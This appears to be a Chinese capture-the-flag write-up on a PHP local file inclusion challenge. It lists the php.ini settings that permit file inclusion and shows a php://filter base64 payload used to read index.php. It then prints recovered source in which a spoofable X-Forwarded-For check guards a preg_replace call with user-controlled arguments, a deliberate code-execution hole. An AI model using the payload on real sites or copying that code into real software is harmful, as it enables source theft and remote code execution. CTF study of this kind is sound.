# 0x01 前言

涉及知识点： php 伪协议 文件包含 pre_replace

allow_url_fopen = On  &&  allow_url_include = Off     可以触发本地文件包含漏洞

allow_url_fopen = On  &&  allow_url_include = On      可以触发远程文件包含漏洞

allow_url_fopen = Off  &&  allow_url_include = On     需通过php://input伪协议进行包含

# 0x02 解题过程

F12 代码审计发现只有设备维护中心指向 index.php
继续 F12 发现 page=index 出现回显
初步怀疑为文件包含漏洞测试 page=1 发现回显 1
使用 php 伪协议下载页面源码
?page=php://filter//read=convert.base64-encode/resource=index.php
base64 解码发现重要代码

//方便的实现输入输出的功能,正在开发中的功能，只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
    preg_replace($pattern, $replacement, $subject);
}else{
    die();
}

}